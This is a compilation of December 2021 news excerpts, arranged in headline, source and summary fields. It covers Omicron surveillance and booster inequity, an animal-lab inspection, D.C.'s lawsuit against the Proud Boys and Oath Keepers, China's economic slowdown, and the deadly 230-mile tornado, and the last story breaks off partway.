GIST	<p>When scientists discovered the highly mutated Omicron variant of the coronavirus last month, it set off an eerily familiar chain of events.</p> <p>Health experts held somber news conferences that raised more questions than answers. Officials imposed travel bans that very likely came too late. Virus trackers filled in their maps as the variant was reported in country after country. And the rest of us waited, with increasing unease, to learn more about the threat we were facing.</p> <p>The same sequence unfolded nearly two years ago when the novel coronavirus, SARS-CoV-2, was first discovered. In those early weeks of 2020, the United States proved to be woefully unprepared for the challenges ahead, starting with the most fundamental of tasks: detecting the virus.</p> <p>“We had a delay of one to two months before we were even able to identify the presence of the virus,” said Dr. Charles Chiu, an infectious disease specialist and microbiologist at the University of California, San Francisco. “And by that time, it had already circulated widely between multiple states and from coast to coast.”</p> <p>These failures have been well-chronicled, and Omicron is one more sign that the current pandemic, which has now claimed the lives of nearly 800,000 Americans, is not over.</p> <p>But Omicron is also a dress rehearsal for the next pandemic. The work before us now — detecting, tracking and slowing the spread of a health threat we do not fully understand — is the same work that will be required to stop a future outbreak in its tracks.</p> <p>The analogy is not perfect. When Omicron arrived, scientists had already developed vaccines and treatments for the virus and were on high alert for new variants. The next pandemic may come with less warning.</p> <p>“We know that there are pathogens worse than SARS-CoV-2 that are emerging and re-emerging and waiting for their moment to take off,” said Rick Bright, the chief executive of the Pandemic Prevention Institute at the Rockefeller Foundation.</p> <p>Omicron’s emergence is an opportunity to take stock of both the gains we have made and the ways in which we are still falling short. It is also a call to action: Whatever progress we have made is not enough.</p> <p>Seek and you shall find</p> <p>In any other context, it would have been unremarkable: On Sunday, Nov. 28, a San Francisco resident who had been feeling mildly ill took a Covid test. The next day, it came back positive.</p> <p>What set off alarm bells, however, was that the resident had recently returned from South Africa, where the newly discovered Omicron variant was widespread.</p> <p>The traveler’s test sample was flagged for priority genomic sequencing, which would reveal the precise genetic code of the virus that had infected the traveler — and whether it had Omicron’s telltale mutations.</p>

Dr. Chiu, the San Francisco microbiologist, was tapped to do the sequencing. By 6 p.m. on Tuesday, Nov. 30, just a few hours after Dr. Chiu first learned about the sample, it was hand-delivered to his lab, packed in dry ice.

Dr. Chiu and his colleagues quickly got to work. Although generating the full sequence takes hours, the scientists chose to use a technique known as nanopore sequencing, which allowed them to analyze the results in real-time, while the process was still underway.

“As the data accumulated, we were able to identify more and more mutations,” Dr. Chiu recalled.

Before dawn, he was certain: It was Omicron, [the first case found](#) in the United States. Less than a week had passed since South Africa first publicly announced the existence of the variant.

We cannot fight what we cannot see, and preventing the next pandemic begins with detecting and tracking the pathogens that threaten us. In that regard, at least, “we’re extraordinarily better off than we were this time last year,” said Joseph Fauver, a genomic epidemiologist at the University of Nebraska Medical Center in Omaha.

Testing, testing, testing

The first link in the disease surveillance chain is testing. Who is infected and where are they? Without accurate, timely testing, it can become impossible to curb the spread of a pathogen.

Unfortunately, America bungled testing [from the beginning](#). The Centers for Disease Control and Prevention distributed [faulty test kits](#), while supply shortages and regulatory delays created an epic mismatch between supply and demand. In the summer and fall of 2020, waits at testing sites [could stretch for hours](#); the wait for results [could take a week or more](#). There was no coordinated national testing plan.

These missteps allowed the virus to spread, unseen and unchecked, increasing the burden on hospitals and making other mitigation measures more difficult. Without accessible testing, the strategy that helped other countries break the chain of transmission — swiftly identifying people with the virus, isolating them and tracing their contacts — stood little chance.

As time passed, the testing crunch eased. Labs diversified their supply chains, purchased new equipment and hired more staff, said Kelly Wroblewski, director of infectious diseases at the Association of Public Health Laboratories.

More and more tests won emergency authorization from the U.S. Food and Drug Administration, including rapid, at-home tests that delivered results on the spot.

“We’ve moved from hospitals to central labs to your living room,” said Mara Aspinall, an expert in biomedical diagnostics at Arizona State University. (Ms. Aspinall is on the board of directors of OraSure, which makes Covid tests.)

The C.D.C., which [initially imposed stringent requirements](#) on who could be tested for the virus, began recommending routine screening as a tool to curb transmission. By the time Omicron was in the headlines, it was no longer remarkable for a 5-year-old to swab his own nose before school or for an ailing San Francisco resident, recently returned from South Africa, to get P.C.R. results back in 24 hours.

“It’s like a night and day comparison between where we were at the beginning of the pandemic,” Ms. Wroblewski said.

But the United States is still doing [less daily testing per capita](#), and it has a higher share of tests come back as positive, than many other high-income countries, according to the Johns Hopkins Coronavirus Resource Center.

“We haven’t done a great job on making tests available,” said Dr. Ezekiel J. Emanuel, a bioethicist at the University of Pennsylvania who was a member of President Biden’s Covid-19 Advisory Board during the presidential transition.

P.C.R. processing times still vary widely, while rapid tests can be difficult to find in stores and remain beyond the budget for many Americans, especially because they are designed to be used frequently. (The Biden administration’s new plan to have health insurers reimburse members for at-home tests may help [but has its limitations](#).)

Many of these problems can be traced to the nation’s failure to invest in testing early in the pandemic. The Trump administration created Operation Warp Speed to turbocharge vaccine development. The country needed a similar effort for diagnostic tests, experts said.

Diagnostic testing may not be as tantalizing as vaccines, but in any future pandemic, they said, it should be a priority from the start.

‘Bootstrapping’ surveillance

The next vital link in the surveillance chain is routine, widespread genomic sequencing. This kind of surveillance helps experts keep tabs on how a pathogen is mutating and how new variants are spreading.

In the United States, this effort got [off to a very slow start](#). “Many of the public health labs were, frankly, just overwhelmed by the initial testing volume and competing obligations,” said Duncan MacCannell, the chief science officer at the C.D.C.’s office of advanced molecular detection.

Although some research laboratories established their own independent sequencing programs, there was little funding or coordination.

In the spring of 2020, the C.D.C. [created a consortium](#) of academic, commercial and public health labs to “start bootstrapping” a more focused national effort, Dr. MacCannell said. But progress was slowed by a lack of resources and a fragmented health care system that had no organized pipeline for getting patient samples from testing sites to sequencing labs.

“A lot of sequencing machines were idle in 2020,” said Bronwyn MacInnis, who directs pathogen genomic surveillance at the Broad Institute in Cambridge, Mass.

But in late 2020 and early 2021, the emergence of the highly contagious Alpha variant and an influx of [federal funding](#) finally kicked genomic surveillance into a higher gear. Since January, the country has gone from sequencing [fewer than 3,000](#) samples a week to [50,000 to 60,000](#), on average, according to the C.D.C.

And when news of Omicron broke, on Nov. 25, some [labs redoubled their efforts](#), adding weekend hours and night shifts to search for the variant. Although Dr. Chiu’s lab was the first to detect it, researchers in other states — Minnesota, Colorado, New York and Hawaii — soon followed suit.

“Omicron has really shown that we have expanded our capacity significantly to be able to identify these variants as they emerge,” Dr. Chiu said.

Some research teams began looking for the variant in sewage. Because the virus is shed in feces, [analyzing wastewater](#) can provide a snapshot of whether the virus, or a particular variant, is present in a community and how prevalent it is.

Although wastewater epidemiology is not new, the pandemic has turned it from a niche pursuit into a mainstream strategy. The need to monitor the virus prompted the C.D.C., in partnership with other federal agencies, to create the [National Wastewater Surveillance System](#), which could eventually be used to monitor antibiotic-resistant bacteria, food-borne pathogens and other microbes.

Omicron was a test of the approach. In early December, researchers found the variant [at eight wastewater treatment plants](#) in Houston, days before the city reported its first cases.

“This is the kind of thing that really allows us to get out in front of SARS-CoV-2,” said Samuel Scarpino, the managing director of pathogen surveillance at the Pandemic Prevention Institute.

Room for improvement

And yet, if Omicron is a test of our preparedness for the unexpected, some experts are not convinced that we have passed. The United States was days behind many other countries in detecting the variant.

“That’s not a good sign,” said Dr. Eric Topol, the founder and director of Scripps Research Translational Institute in San Diego, Calif.

Despite recent improvements, the country has sequenced a smaller share of cases since the beginning of the pandemic than [many other nations](#), according to GISAID, an international database of viral genomes.

There are still [delays in the system](#) and the Omicron news broke on Thanksgiving, when processing times were likely even longer than usual, experts said. (C.D.C. data [show a dip](#) in the number of virus sequences added to public databases during the week of and the week after the holiday.)

The national effort is also uneven — with some states sequencing [more than 20 percent of their Covid cases](#) and others sequencing less than 3 percent — and may be missing certain regions or communities even within states, experts said.

“That is not an effective infrastructure for genetic surveillance of viral infections,” Dr. Emanuel said. “It’s got to be nationwide, and it’s got to be uniform.”

And the country needs to do a better job identifying people who are especially likely to be harboring new variants, scientists said. Rather than restrict travelers from abroad, officials could make a more concerted effort to test them for the virus and sequence positive samples.

People with breakthrough infections and those with compromised immune systems — who may have more trouble fighting off the virus, giving it more chances to mutate — should also be priorities for sequencing, experts said.

“Not only do we have to sequence, but we have to make sure we’re sequencing in the right communities and the right people,” said Janet Robishaw, the senior associate dean for research at Florida Atlantic University’s College of Medicine in Boca Raton.

And while countries with centralized or nationalized health care systems, like Britain, can link the viral sequences to clinical data about patients relatively easily, in the United States that is much more difficult. Did the sample come from someone who was in the I.C.U. or just home with a sniffle? Were they vaccinated and, if so, with which vaccine and when?

“We can do a lot with sequences in terms of looking at how fast Omicron or Delta or whatever is spreading,” said Trevor Bedford, an expert on viral evolution and surveillance at the Fred Hutchinson Cancer Research Center in Seattle. “But it makes it hard to address really important scientific questions like, is Delta more severe?”

The next pandemic

Some of the progress the country has made could leave us better positioned for the next pandemic. For instance, public health laboratories have new equipment and expertise, which they can now use to track the flu, food-borne illnesses and whatever the next great global health threat turns out to be.

But solidifying these gains will require a continuing commitment and funding after the immediate crisis has passed. “The historical pattern is, we surge and then we forget and we neglect,” Dr. Bright said.

Many exhausted health officials have already left their jobs, and legislators have passed more than 100 laws limiting the public health powers of state and local authorities, [a New York Times review found](#).

Some of the problems that the pandemic has highlighted are deeply rooted. For example, a highly coordinated genomic surveillance program like Britain's, which is frequently held up as an exemplar, was always going to be a heavy lift in the United States.

"We have this Balkanized health care system, and the system is a giant mess," said Jeremy Kamil, a virologist at Louisiana State University Health Sciences Center Shreveport.

And pandemic preparedness does not happen in a vacuum. Just as a more equitable distribution of vaccines might help squelch the next variant of concern, preventing the next big global outbreak will require ensuring that every country has the resources to detect and respond to emerging pathogens.

The United States is a large and fractured country — politically polarized and burdened with glaring inequities, rampant misinformation and disinformation, and a considerable distrust of public officials. These are enormous, thorny problems and are much harder to address than ensuring that labs have the capacity to detect Omicron or any new pathogen.

"I'm confident in our ability to detect the variant," Dr. Fauver said. "What I'm not confident in is our ability to do anything about it. We're detecting the Delta variant every single day, every time we sequence."

Even before the Omicron news broke, another Delta-driven surge had already begun. Scientists are finding more Omicron cases every day, and the variant could soon overtake Delta. What comes next — what we should aim for, even — is less clear. Should we spend the winter trying to stop every infection? Protecting the highest risk people from severe disease and death? Ensuring that hospitals are not overrun?

"One thing that we've lacked continuously through the pandemic is a goal," said Emily Gurley, an epidemiologist at the Johns Hopkins Bloomberg School of Public Health. "We still don't have that. Certainly, we don't have that for Omicron."

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HEADLINE	12/14 Wealthy nations boosters; poor wait for vax
SOURCE	https://www.washingtonpost.com/world/2021/12/14/omicron-boosters-covax/
GIST	<p>Omicron has led to a rush in wealthy nations for boosters. On Sunday evening, British Prime Minister Boris Johnson said the country would aim to offer all eligible adults a booster shot by the end of the year, citing the exponential spread of the new variant.</p> <p>"A tidal wave of omicron is coming," Johnson told the nation, "And I'm afraid it is now clear that two doses of vaccine are simply not enough to give the level of protection we all need."</p> <p>Other high-income countries are also pushing ahead with boosters, overcoming earlier hesitation about offering extra doses outside of the standard one- or two-dose regimen initially approved, depending on the manufacturer.</p> <p>"We're getting booster shots to 1.1 million Americans a day — more people boosted per day than ever before," White House covid-19 response coordinator Jeff Zients said told reporters Monday.</p> <p>But while these extra shots are being administered faster than ever, many people in poorer nations are still waiting for their first doses. Roughly 54 million booster shots had been administered in the United States as of Sunday, compared with 64 million doses administered <i>in total</i> in low-income nations, according to Our World in Data. And that gap may soon close: While the pace of vaccination in low-income nations is increasing, all together they have only administered more than a million shots a day three times so far.</p>

According to the World Bank, roughly 665 million people live in countries classified as low income, which means they have a per capita gross national income of less than \$1,045 (around 60 times lower than that of the United States). The vast majority of these countries are in sub-Saharan Africa. War-torn nations like Yemen and Afghanistan also fall into this category.

Boosters have long been held up as a symbol of inequitable access to vaccines. Of the more than 360 million booster shots administered around the world, almost all have been in high-income and upper-middle-income nations. Under 8 million have been administered in lower-middle-income nations, while the number administered in low-income nations is either zero or so close to it that it is negligible.

The booster dichotomy mirrors the wider divide on vaccinations. Just [3.4 percent of the population of low-income nations and 30 percent](#) of lower-middle-income nations are considered fully vaccinated, lagging far behind wealthy nations like the United States and Britain where roughly 60 percent and 70 percent of people have had the full regimen of doses, respectively.

Global efforts to beat vaccine hoarding and inequality have struggled. Covax, an effort backed by the World Health Organization that was designed to pool money to ensure vaccine supply for poorer nations, initially aimed for 2 billion doses to be available in 2021. It is now racing to deliver a far-diminished target of 800 million doses, [as I reported](#) last week.

Omicron has raised new questions about how far even these doses can go. Given the variant's apparent ability to evade the antibodies created by vaccinations, some experts are suggesting that the definition of being "fully vaccinated" should include booster shots. Even those who have received vaccines that were highly effective against other variants, such as [Pfizer/BioNTech and Moderna](#), both of which use advanced mRNA technology, are being told by Britain's Johnson and other figures they may need additional doses to be fully immunized against omicron.

It may not stop there. Executives at pharmaceutical [giant Pfizer said last week](#) that the new variant could increase the likelihood that people will need a fourth vaccine dose. So far, U.S. officials have not changed the definition of "fully vaccinated."

"Right now I don't see that changing tomorrow or next week," Anthony S. Fauci, director of the National Institute of Allergy and Infectious Diseases, said during an interview with CNN on Sunday. But he later added: "It's going to be a matter of when, not if."

The World Health Organization (WHO) — which had called for a moratorium on booster shots until poor countries gain wider access to initial doses — continues to vocally oppose the additional shots, even as omicron spreads.

"The boosters are, unfortunately, probably not the solution to this," WHO chief scientist Soumya Swaminathan said during [a press briefing last week](#), stating that the majority of people who die around the world from covid-19 continue to be those who have had no vaccine at all.

The WHO has suggested, however, that individuals who received the less effective Sinovac and Sinopharm [should receive an extra dose](#), as should those who have weakened immune systems.

Key figures [in the Covax initiative](#) have warned that booster campaigns will strain a system in which doses are already sparse.

If extra doses are required to protect against omicron, that means "the world that we characterize as immunized is effectively less immunized than it was before, and so it consumes more doses," Orin Levine, a vaccinations expert at the Bill & Melinda Gates Foundation, a key backer of the Covax scheme, told me this week.

For now, it may be a theoretical argument. Despite the speed at which omicron is spreading, the vast majority of cases worldwide are still linked to the delta variant. But that could change fast: [British officials have warned](#) that omicron could soon overtake delta, as Johnson confirmed Monday that one death had been linked to omicron.

Even the world's most vaccinated places are worried. In Brazil's São Paulo, where officials claim to have vaccinated roughly 100 percent of its adult population, [my colleagues Gabriela Sá Pessoa and Terrence McCoy](#) report that the new variant is being eyed cautiously.

"What we hope, especially with our high rate of vaccination, is that, even in the worst-case scenario, there will only be an increase in the number of cases" and not hospitalizations and deaths, Alexandre Naime Barbosa, head of the epidemiology department at São Paulo State University, told The Post.

But the world's least-vaccinated places have the most to fear. In the British Medical Journal, [Fatima Hassan, Leslie London and Gregg Gonsalves](#) argue that the emergence of omicron in southern Africa is tied to "uneven and slow access to covid-19 vaccines" that allowed the virus to spread in largely unvaccinated countries.

And that's not the only problem, they write: "The health and socio-economic burden of covid-19 cases, hospital admissions, and deaths will fall disproportionately on these countries" — the countries where the struggle is for doses, not boosters.

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HEADLINE	12/14 Omicron variant surging rapidly in WA
SOURCE	https://www.seattletimes.com/seattle-news/health/omicron-variant-surging-rapidly-in-washington-state-uw-testing-indicates/
GIST	<p>Researchers testing coronavirus samples in Washington state have recorded a rapid rise in cases with a mutation that is characteristic of the omicron variant, mirroring trends that have emerged in countries like South Africa, Britain and Denmark.</p> <p>Researchers at the University of Washington found that 13% of 217 positive coronavirus case specimens collected Wednesday had the mutation. That was up from about 7% of samples they had tested from the day before, and 3% from the day before that — in a region that had its first identified cases only two weeks ago.</p> <p>"It's clearly looking like it's rising really quickly," said Dr. Pavitra Roychoudhury, a researcher at the University of Washington.</p> <p>Roychoudhury cautioned that the relatively small sample sizes provided only a limited window into the variant's trajectory. But even so, she said, the results add to worries that omicron may be highly transmissible.</p> <p>As omicron spreads around the globe, scientists have seen evidence that the variant can partially evade existing immune defenses. But they are still trying to determine how often the variant causes severe disease.</p> <p>Dr. Trevor Bedford, who studies the spread and evolution of viruses at the Fred Hutchinson Cancer Research Center in Seattle, said the omicron numbers are still too small to have a large impact on overall case numbers, but he said that would likely change by next week as it continues to displace the virulent delta version of the virus.</p> <p>"There is an inevitable very large wave of omicron," Bedford said. "It's going to happen."</p>

What's much less certain is how much the new variant could trigger hospitalizations. Bedford said there are signs that the variant is producing less severe infections, but he said the range of possibilities for the variant remains wide.

Washington state may have a clearer window into omicron's spread than other parts of the country do, because of research groups in Seattle that have invested in testing and sequencing the virus's genomic structure. Those researchers helped identify the initial reported outbreak of the coronavirus in the United States early in 2020.

The UW Medicine virology lab has been screening samples of the virus from across the state, looking for a single mutation that indicates omicron's presence — a technique that Roychoudhury said helps provide rapid warning of the variant's spread. Detailed genomic sequencing of each sample is definitive, but can take longer, she said, adding that so far, all the samples that were flagged by spotting the mutation last week and then were sequenced have come back confirmed as omicron.

The lab gets about half its samples from King County, which includes Seattle and is by far the most populous in the state. A small portion comes from outside Washington state.

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HEADLINE	12/14 Group: Everett animal testing lab violations
SOURCE	https://www.seattletimes.com/seattle-news/inspection-at-everett-animal-testing-lab-finds-violations-allegedly-resulting-in-4-monkey-deaths/
GIST	<p>A national animal rights group is seeking an investigation into an Everett animal testing laboratory where a federal inspection this summer found multiple Animal Welfare Act violations that allegedly resulted in the deaths and injuries of primates and a pig.</p> <p>Four crab-eating macaques, each about 2 years old, had to be euthanized due to “potential adverse effects” after they were given an incorrect dose of a test substance, according to a Nov. 11 U.S. Department of Agriculture inspection report.</p> <p>A fifth primate suffered an arm fracture when an employee attempted to restrain the animal to administer a test substance, and a pig sustained a broken limb, which went undiagnosed for 15 days, the report said.</p> <p>The flooring in eight pig enclosures, the USDA report said, was deemed structurally unsafe, and may have led to the pig's injury.</p> <p>The facility, located near Merrill Creek Parkway and Seaway Boulevard, is operated by Canadian company Altasciences and was previously owned by SNBL USA until 2018, according to Herald Net. Altasciences did not respond to multiple requests for comment.</p> <p>Two years before the facility was sold, the USDA fined the facility \$185,000 and suspended its license for at least a month, after 38 monkeys died.</p> <p>Stop Animal Exploitation Now (SAEN), an activist group that focuses on the treatment of research animals, filed a letter of complaint earlier this month calling on the USDA to open a new investigation and fine the lab up to \$10,000 for every animal involved in the violations.</p> <p>“Altasciences must not be allowed to get away with these totally unnecessary deaths and injuries,” SAEN Executive Director Michael Budkie said in the complaint. “Your office must demonstrate that Altasciences will be punished severely when, as with these monkey deaths and pig/monkey injuries, they fail so miserably to meet basic standards.”</p> <p>According to the facility's annual report filed with the USDA, the facility houses 289 dogs, 44 pigs and 3,367 nonhuman primates.</p>

HEADLINE	12/14 Alaska officials report first omicron case
SOURCE	https://www.seattletimes.com/seattle-news/northwest/alaska-health-officials-report-states-first-omicron-case/
GIST	<p>ANCHORAGE — Alaska has reported its first case of the omicron variant of the coronavirus, involving an Anchorage resident who had traveled internationally, the state health department announced.</p> <p>The department, in a release, said the case was identified Monday through genomic sequencing performed at a state health laboratory. The case involved a person who “recently tested positive in Anchorage following international travel in November,” the statement said.</p> <p>According to the U.S. Centers for Disease Control and Prevention, cases involving the omicron variant have been detected in at least 30 states. The CDC says the delta variant continues to be the main version of the virus circulating in the country.</p> <p>Officials are still learning about the omicron variant.</p>
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HEADLINE	12/14 D.C. sues Proud Boys, Oath Keepers
SOURCE	https://www.theguardian.com/us-news/2021/dec/14/proud-boys-oath-keepers-sued-capitol-attack
GIST	<p>The District of Columbia has filed a civil lawsuit seeking harsh financial penalties against far-right groups Proud Boys and Oath Keepers over their role in the 6 January insurrection at the Capitol by extremist supporters of then president Donald Trump, calling the attack “a coordinated act of domestic terrorism”.</p> <p>The suit, filed on Tuesday in federal court in Washington, also names dozens of the groups’ senior members, many of whom already face criminal charges for taking part in the violent attack on the Capitol building while Congress was meeting to certify Joe Biden’s victory in the 2020 election.</p> <p>Karl Racine, Washington DC’s attorney general, said the suit seeks compensation for damages to the District of Columbia and to inflict maximum financial damage on the groups responsible.</p> <p>“Our intent is to hold these violent mobsters and violent hate groups accountable and to get every penny of damage we can,” Racine said. “If it so happens that we bankrupt them, then that’s a good day.”</p> <p>There was no immediate response to emails sent to the groups seeking comment.</p> <p>The lawsuit cites as its basis a post-civil war law known as the Ku Klux Klan Act, enacted in 1871. A similar tactic was used to secure a \$26m verdict last month against white supremacist groups and individuals responsible for organizing the violent 2017 Unite the Right rally in Charlottesville, Virginia, in which one person was killed after a man plowed his car into a group of counter-protesters.</p> <p>Racine announced the suit on Tuesday alongside Eleanor Holmes Norton, DC’s non-voting delegate in the House of Representatives. Norton said the suit is designed to secure extra funding to support DC police officers injured while defending the Capitol building and to serve as a warning to extremist groups.</p> <p>“They’re going to have to spend money to defend themselves,” Norton said. “Even if we don’t get a penny in restitution, this lawsuit’s deterrent effect will say, ‘Be prepared to spend money to defend yourself because we are coming after you.’ ”</p> <p>Racine said evidence presented in the multiple federal criminal cases under way already proves “explicit evidence of conspiracy” to commit violent acts in the nation’s capital. He said the lawsuit presents an opportunity to publicly explore and expose the financial support structure of the far-right extremist network.</p>

“I sure hope they try to defend the case,” he said. “We can’t wait to propound searing questions about the finances of these individuals and these groups.”

The lawsuit states: “Would-be insurgents from across the country came to the District, marched through its streets, and ultimately gathered at the United States Capitol, ready and eager to carry out a violent attack on the lawful operation of government.

“Then, as the Proud Boys, the Oath Keepers, their leadership, and certain of their members and affiliates had planned, Defendants and others rioted, broke through police barricades, and physically forced their way into the Capitol. In doing so, they threatened, assaulted, and injured those who tried to stop them, including officers of the District’s Metropolitan Police Department (MPD), and incited terror among those inside and around the building, including members of Congress who were discharging the official duties of their offices.

“In the wake of this assault, the Capitol was left in shambles, with the District left to deal with the aftermath of the violent disruption to what should have been the peaceful transition of presidential power.

The lawsuit describes the Proud Boys as “a US-based group that promotes and engages in political violence, including in service of its hate-motivated agenda”.

And it describes the Oath Keepers as “a militia movement group united by baseless conspiracy theories arising from the idea that the federal government has been coopted by a nefarious group that is trying to strip United States citizens of their rights”.

It further notes: “Violence is an inextricable part of both organizations and a common link between them.”

The lawsuit says that both groups tried to preserve Trump’s power after he lost the election, employing violence where necessary.

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HEADLINE	12/14 China's economic activity decelerates
SOURCE	https://www.wsj.com/articles/chinas-economic-activity-slowed-in-november-on-property-slump-weak-consumption-11639551530?mod=hp_lead_pos2
GIST	<p>HONG KONG—China’s economic activity decelerated in November amid a prolonged property slump and sluggish consumption recovery, adding urgency for Beijing to step up efforts to support the world’s second-largest economy.</p> <p>Leading indicators of consumption and investment activity weakened further from October, while factory production rose at a faster pace in November as a power crunch eased, according to China’s National Bureau of Statistics on Wednesday.</p> <p>Industrial production expanded by 3.8% in November from a year ago, accelerating from 3.5% growth in October, a rare bright spot in China’s economy as efforts to alleviate electricity shortages led to increased coal output in recent weeks.</p> <p>Still, a persistent property downturn continued to drag on overall investments. Consumer spending, a laggard in China’s recovery from the pandemic, also showed new signs of weakening.</p> <p>Fixed-asset investment increased 5.2% in the January-to-November period, down from the 6.1% pace recorded in the first 10 months, official data showed. The reading was in line with the expectations of economists polled.</p> <p>Prices of new apartments, which began falling in September, continued to decline through last month as homebuyers grew increasingly concerned about developers’ financial health.</p>

New-home prices dropped 0.33% in November from October across 70 cities, the biggest month-over-month decline in about six years, according to calculations by The Wall Street Journal based on official data released Wednesday.

New-construction starts by property developers, which provide jobs for migrant workers and boost China's demand for commodities, dropped 9.1% in the January-to-November period from a year earlier, widening from a 7.7% on-year decline in the first 10 months of the year.

Retail sales, a proxy for China's consumption, rose just 3.9% last month from a year ago, down from October's 4.9% year-over-year growth and lower than the 4.5% expected increase among economists polled by the Journal. China's strict Covid-19 restrictions affected sectors including catering, where sales fell 2.7% in November, a larger decrease from a fall of 2% in October.

The latest economic data point to a further slowdown in China's economy that began to sputter in the third quarter on the back of a power crunch that curbed factory output, and sporadic Covid-19 outbreaks that hit consumption. The continuing downturn in the sprawling property market triggered by the liquidity crisis of [highly indebted developers](#) such as [China Evergrande Group](#) Co. has also weighed on the economy.

China's policy makers have signaled in recent weeks that they will pivot toward shoring up the economy and take further measures to cushion the blow from a rapidly cooling property market.

At the Central Economic Work Conference concluded last Friday, China's top leadership emphasized stability as the top priority for the economy next year, signaling a shift in policy focus after a string of regulatory crackdowns across technology, education and real-estate industries this year left the economy on wobbly ground.

"China is likely to adopt a more proactive fiscal policy next year," said Shuang Ding, an economist with Standard Chartered Bank, adding that rising inflation pressure next year is likely to constrain the central bank's scope in monetary easing.

Beijing is likely to set a growth target of 5% or higher for 2022, which could motivate local governments to ramp up fiscal spending to hit targets, said Mr. Ding. Relatively sluggish local government spending has dragged on economic growth this year, he added.

Last week China moved to unleash more liquidity in the financial system by cutting the reserve requirement ratio, or the amount of cash that banks must hold in reserve. Some economists expect China could further reduce the reserve-requirement ratio and even lower key benchmark interest rates in coming months. Authorities have eased restrictions over mortgage lending and are expected to loosen policies related to the housing market further.

However, economists widely expect that a trio of headwinds highlighted by authorities at last week's meeting—contracting demand, supply-side shocks, and weakening expectations—could be exacerbated in the coming months by uncertainty surrounding the Omicron Covid-19 variant.

The detection of more than 200 Covid-19 cases in China's eastern Zhejiang province over the past 10 days prompted officials to shut down some factories temporarily, threatening to disrupt output at one of the world's largest production bases.

At least 20 manufacturers based in Zhejiang, a large manufacturing region producing a range of products including textiles and LED lights, halted production over the past week after local officials imposed lockdowns, according to the companies' filings. Most companies didn't disclose when the factories will reopen but said they expected the disruptions to be short-lived.

	<p>Recent Covid-19 outbreaks suggest that consumer caution will remain, and further supply-chain disruptions are a “significant possibility,” economists from Capital Economics wrote in a note Wednesday.</p> <p>As China’s economy slows, officials and economists are becoming more concerned about the strength of the labor market, where some signals of stress have begun to emerge.</p> <p>The surveyed unemployment rate in urban China edged up to 5% last month, from 4.9% in October, while the urban jobless rate for those age 16 to 24 stayed high at 14.3% in November.</p> <p>“Ongoing pressure in the job market has weighed on income growth and spending,” said Bruce Pang, head of macro and strategy research at China Renaissance Securities, “More measures are needed to buffer the deteriorating employment conditions.”</p>
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HEADLINE	12/14 Monster tornado’s 230-mile path: disaster
SOURCE	https://www.wsj.com/articles/tornado-kentucky-path-mayfield-damage-11639529262?mod=hp_lead_pos5
GIST	<p>Soon after a siren warned of a coming tornado on Friday evening, nursing assistant Linda Knapp took an elderly resident at the Monette Manor nursing home in Monette, Ark., to the bathroom. Then the twister struck, ripping the roof off the building and dislodging chunks of the wall.</p> <p>Ms. Knapp recalled telling the man to grab a bathroom rail and hold on as tight as he could. She leaned over him to shield him from flying debris, and a piece of concrete struck her. A power outage plunged them into darkness, and water from rainfall or a sprinkler system soaked the floor.</p> <p>Trapped by debris in the bathroom, Ms. Knapp said, she cleared away broken pipes and wreckage that were blocking the door and pried it open. She eventually got the man out and helped him toward an area near the nurses’ station where she could sit him in a chair and tend to him.</p> <p>“The residents were talking to each other through the whole thing, asking each other if they were OK,” said Ms. Knapp, 69 years old.</p> <p>The tornado was just getting started. After forming near the nursing home in northeastern Arkansas, the twister tore off to the northeast, carving a catastrophic path 230 miles long and as wide as three-quarters of a mile across Missouri, Tennessee and Kentucky over the course of about four hours. It was one of a series of tornadoes that killed at least 88 people and leveled swaths of towns.</p> <p>Four days after the cataclysm struck, it is becoming clear that the early signaling systems put into place throughout the middle of the country, for the most part, worked as promised. People received text alerts and radio alerts from local officials and forecasters giving them enough time to shelter in place, as they have done for years during tornadoes. But the power, speed and duration of the tornado caught residents, businesses and cities by surprise and overwhelmed many of their safety procedures.</p> <p>The tornado’s estimated wind speeds of over 200 miles an hour would make it an EF5, the highest level on the Enhanced Fujita scale rating system. While meteorologists continue to analyze data on the tornado, its length was likely record-setting, preliminary results show. It sent debris 30,000 feet into the air, the cruising altitude of many passenger jets, and scattered prom photos, handmade quilts and wrapped Christmas gifts scores of miles away from the tornado’s path.</p> <p>The twister rivaled the 1925 Tri-State tornado that killed 695 people as it traveled 219 miles across Missouri, Illinois and Indiana. A map of that storm’s path hangs at the National Weather Service’s Storm Prediction Center in Norman, Okla., said Bill Bunting, chief of forecast operations there.</p>

“If you look through history, we’ve seen storms that have hit multiple towns before,” he said. “What we don’t see very often, perhaps only once before, is such an extensive path lengthwise, widthwise, and the number of communities affected.”

[A rare confluence of weather conditions](#) created it, Mr. Bunting said. First was the development of a supercell, an enormous weather system generating severe thunderstorms and rotating upward currents of wind. That combined with an unusually steady muggy environment, with temperatures hovering in the low 70s over the course of several hours. Moreover, no other major storms formed to disrupt the tornado’s formation or block its path.

“It was a sweet spot,” Mr. Bunting said.

Rick Sampson, owner of the Monette Manor nursing home, said he had been monitoring weather advisories when he saw the warnings. He called his staff around 6:45 p.m. to alert them.

Nurses shut protective fire doors and moved many of the 67 residents into hallways in the center of the building, seating them in chairs or wheelchairs. A few lying in beds that couldn’t fit through doorways remained in their rooms, where nurses drew hanging curtains around them, Ms. Knapp said. Staff handed out pillows to residents to cover their faces when the tornado hit.

Nurse Barbara Richards, 57, looked out a window and saw debris and leaves swirling toward them. She rushed back to tell residents the storm was coming. Moments later, it struck.

Some wept through the ordeal. Others sang hymns while they waited for first responders to arrive. When it was over, one 94-year-old resident was dead, and several others were injured.

About 100 miles to the northeast, in south-central Kentucky, the tornado bore down on Graves County. George Workman, the county jailer, was home babysitting his 6-year-old granddaughter, Gracelyn, when he saw the news forecasting a powerful tornado would arrive at 9:19 p.m.

The 55-year-old had lived in rural Kentucky his whole life. In his experience, tornadoes petered out as they approached his community east of the Mississippi River, which tended to act as a natural barrier.

Based on the dire forecasts, though, he decided for the first time in his memory to shelter in a closet. He strapped a baseball helmet on his granddaughter’s head and a football helmet on his own. It was 9:10 p.m. “She was fine until I couldn’t keep calm anymore,” he recalled. “She saw the fear in my eyes. When she saw that, she couldn’t hold it together.”

Shaking and roaring

The house started shaking at 9:20 p.m., and a roar that sounded to Mr. Workman like a railroad lasted for at least a minute. When it was quiet again, he walked out into the backyard and saw the path the tornado had torn across an empty field.

Mr. Workman loaded his granddaughter into his truck and drove the 5 miles into Mayfield, the county seat, dodging downed trees and power lines. The courthouse wall had collapsed on the jail, which was built mostly underground. When he arrived, he heard that jailers from surrounding counties were already sending vans to help evacuate the inmates, none of whom were seriously injured.

